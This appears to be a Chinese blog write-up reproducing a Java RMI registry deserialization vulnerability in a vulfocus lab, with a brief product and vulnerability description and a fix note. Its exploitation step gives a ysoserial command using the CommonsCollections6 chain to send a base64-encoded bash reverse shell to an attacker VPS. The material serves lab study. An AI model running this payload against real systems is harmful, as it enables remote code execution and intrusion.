Java-rmi-registry反序列化漏洞复现

  • Post author:
  • Post category:java


1、产品简介

java.rmi.registry是java语言的一个包,提供 RMI 注册表的一个类和两个接口。注册表是一个将名称映射到远程对象的远程对象。服务器使用注册表注册其远程对象,以便于查找这些对象。当某个对象希望在远程对象上调用某个方法时,则必须首先使用其名称查找该远程对象。注册表将为调用对象返回一个对远程对象的引用,使用这种方法可以调用远程方法。

2、漏洞概述

Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行

反序列化

时触发相应的利用链(环境用的是commons-collections:3.2.1)。

3、影响范围

<=jdk8u111

4、环境搭建

这里我们使用vulfocus靶场进行复现

5、利用流程

1、开启靶场环境,利用ysoserial反序列化工具进行复现

工具地址:

https://github.com/frohoff/ysoserial

Payload如下:

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 靶场IP 端口 CommonsCollections6 "bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}"

2、执行Payload,VPS提前开启监听,成功反弹shell

6、修复建议

升级JDK到安全版本



版权声明:本文为qq_41904294原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。